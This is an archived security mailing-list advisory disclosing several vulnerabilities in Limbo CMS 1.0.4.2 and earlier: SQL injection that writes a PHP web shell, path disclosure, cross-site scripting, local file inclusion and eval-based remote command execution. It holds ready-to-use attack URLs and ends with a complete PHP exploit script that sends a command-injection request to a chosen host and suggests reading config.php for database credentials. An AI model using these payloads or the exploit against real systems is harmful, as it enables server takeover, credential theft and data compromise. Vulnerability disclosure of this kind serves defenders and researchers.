<<< Date Index >>>     <<< Thread Index >>>

LIMBO CMS <= v1.0.4.2 _SERVER[] array overwrite / remote code execution



LIMBO CMS <= v1.0.4.2 _SERVER[] array overwrite / blind SQL injection /
cross site scripting / local file inclusion / path disclosure / remote 
code/commands execution

software:
site: http://www.limbo-cms.com/
description:
"Putting it in short Limbo is a Content Management System, which allows you to 
build and manage
 small dynamic PHP websites very easily. Limbo was inspired from Mambo and 
offers same overall
 functionality and usage. Main aim of limbo is to be small, secure, fast and be 
capable of running
 off simple text files."



i) if register_globals is off you can overwrite _SERVER[] & 
_SERVER[REMOTE_ADDR] value
this value is not properly sanitized before to be used in a sql query, so

if register_globals off and Limbo uses Mysql to store data
(there is an installation option to store data in files...)
you can try blind sql commands injection, poc:

http://[target]/[path]/index.php?_SERVER[]&_SERVER[REMOTE_ADDR]=999'UNION%20SELECT%20null,'<?php%20system($_G','ET[cmd]);?>'%20INTO%20DUMPFILE%20'[full_application_path]shell.php'%20FROM%20lm_simple_stats/*&option=weblinks&Itemid=999/*

query becomes:

SELECT id,ip,date FROM lm_simple_stats WHERE id>1 AND ip = '999'UNION SELECT 
null,'<?php system($_G','ET[cmd]);?>' INTO DUMPFILE 
'[full_application_path]shell.php' FROM lm_simple_stats/*'

(**** note: this works regardless of magic_quotes_gpc settings,because in 
includes/initglobal.php, we have:
...
/* handle the magic quotes problem */
function strip_magic_quotes($arr)
{
        foreach ($arr as $k => $v)
        {
                if (is_array($v))
                        { $arr[$k] = strip_magic_quotes($v); }
                else
                        { $arr[$k] = stripslashes($v); }
        }

        return $arr;
}

if (get_magic_quotes_gpc())
{
        if (!empty($_GET))    { $_GET    = strip_magic_quotes($_GET);    }
        if (!empty($_POST))   { $_POST   = strip_magic_quotes($_POST);   }
}
... *******)

in new created shell.php we have:

0<?php system($_GET[cmd]);?>

so you can launch operating systems commands on target:

http://[target]/[path]/shell.php?cmd=cat%20/etc/passwd



ii)
also you can disclose full application path:

http://[target]/[path_to_limbo]/admin/classes/minixml/classes/doc.inc.php
http://[target]/[path_to_limbo]/admin/classes/minixml/classes/element.inc.php
http://[target]/[path_to_limbo]/admin/classes/minixml/classes/node.inc.php



iii) xss:
if ip address is showned at screen by simple stats module:
http://[target]/[path]/?_SERVER[]=&_SERVER[REMOTE_ADDR]=<script>alert(document.cookie)</script>




iv) you can include an arbitrary php file from local resources:
http://[target]/[path_to_limbo]/index2.php?option=frontpage/../../../../../../../../../../../script



v) combinating i) & iv) you can execute operating systems commands by a single 
url, poc:

http://[target]/[path_to_limbo]/index2.php?cmd=dir&_SERVER[]=&_SERVER[REMOTE_ADDR]='.system($_GET[cmd]).die('').'&option=wrapper&module[module]=1

explaination:
some way, we are including classes/adodbt/read_table.php, where at line 136-140 
we have:

...
                if (strlen ($searchstr) > 0) {          // run search string if 
exist

                               eval($searchstr);
                               if ($f) { $rs[$i++] = $tmp; }
                                        }
...

input passed to eval() becomes:

if ($id > 1 && $ip == ''.system($_GET[cmd].die('').'' ) { $f = true; } else { 
$f = false; }


this is my proof of concept exploit for v):


<?php
#  ---limbo_1042_eval_xpl.php                             16.03 14/12/2005     #
#                                                                              #
#  Limbo <= 1.0.4.2 _SERVER[REMOTE_ADDR] overwrite/ remote cmmnds xctn         #
#                              coded by rgod                                   #
#                    site: http://rgod.altervista.org                          #
#                                                                              #
#  -> this works wtih register_globals off & regardless of magic_quotes_gpc    #
#  settings                                                                    #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "Humble words and increased preparations are signs that the enemy  #
#  is about to advance.  Violent language and driving forward as if to the     #
#  attack are signs that he will retreat.                                      #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html><head><title>Limbo <= 1.0.4.2 _SERVER[REMOTE_ADDR] remote cmmnds xctn
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important}     h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
Limbo <= 1.0.4.2 _SERVER[REMOTE_ADDR] remote cmmnds xctn</p><p class="Stile6"> a
script  by  rgod  at        <a href="http://rgod.altervista.org"target="_blank";>
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
name="form1" method="post" action="'.strip_tags($_SERVER[PHP_SELF]).'"><p><input
type="text"  name="host"> <span class="Stile5">* hostname  (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/limbo/  or just / ) </span></p><p><input type="text" name="command">      <span
class="Stile5"> * specify a command ("cat config.php" to see database username &
password)</span></p><p><input type="text" name="port">     <span class="Stile5">
specify  a  port   other   than  80 ( default  value )  </span></p>  <p>  <input
type="text"   name="proxy">    <span class="Stile5">    send  exploit through an
HTTP proxy(ip:port)</span></p><p><input type="submit" name="Submit" value="go!">
</p></form></td></tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
                            }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
                            }
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
                              //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
                   echo "socket_create() failed: reason: " . 
socket_strerror($socket) . "<br>";
                   }
              else
                  {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
                    echo "OK.<br>";
                    echo "Attempting to connect to ".$host." on port 
".$port."...<br>";
                    if ($proxy=='')
                   {
                     $result = socket_connect($socket, $host, $port);
                   }
                   else
                   {

                   $parts =explode(':',$proxy);
                   echo 'Connecting to '.$parts[0].':'.$parts[1].' 
proxy...<br>';
                   $result = socket_connect($socket, $parts[0],$parts[1]);
                   }
                   if ($result < 0) {
                                     echo "socket_connect() failed.\r\nReason: 
(".$result.") " . socket_strerror($result) . "<br><br>";
                                    }
                               else
                                    {
                                     echo "OK.<br><br>";
                                     $html= '';
                                     socket_write($socket, $packet, 
strlen($packet));
                                     echo "Reading response:<br>";
                                     while ($out= socket_read($socket, 2048)) 
{$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo "Closing socket...";
                                     socket_close($socket);

                                    }
                  }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
      {$ock=fsockopen(gethostbyname($host),$port);
       if (!$ock) { echo 'No response from '.htmlentities($host);
                        die; }
      }
             else
           {
           $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
           $parts=explode(':',$proxy);
            echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
            $ock=fsockopen($parts[0],$parts[1]);
            if (!$ock) { echo 'No response from proxy...';
                        die;
                       }
           }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or 
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

$host=$_POST[host];
$path=$_POST[path];
$command=$_POST[command];
$port=$_POST[port];
$proxy=$_POST[proxy];

if (($host<>'') and ($path<>'') and ($command<>''))
{
  $port=intval(trim($port));
  if ($port=='') {$port=80;}
  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check 
the path!'; die;}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace("\r\n","",$host);
  $path=str_replace("\r\n","",$path);
  # STEP X -> one and unique...
  # we overwrite ip address, include classes/adodbt/read_table.php and pass 
commands to an eval()
  
$SHELL="'.ini_set(\"max_execution_time\",0).system(\$_GET[cmd]).die('HiMaster!').'";
  $SHELL=urlencode($SHELL);
  $packet="GET 
".$p."index2.php?cmd=".urlencode($command)."&_SERVER[]=&_SERVER[REMOTE_ADDR]=";
  $packet.=$SHELL;
  $packet.="&option=wrapper&module[module]=1 HTTP/1.1\r\n";
  $packet.="User-Agent: Googlebot/2.1\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  show($packet);
  sendpacketii($packet);
  if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";}
                           else {echo "Exploit failed...";}
}
else
{echo "Fill * required fields, optionally specify a proxy...";}
?>

rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/limbo1042_xpl.html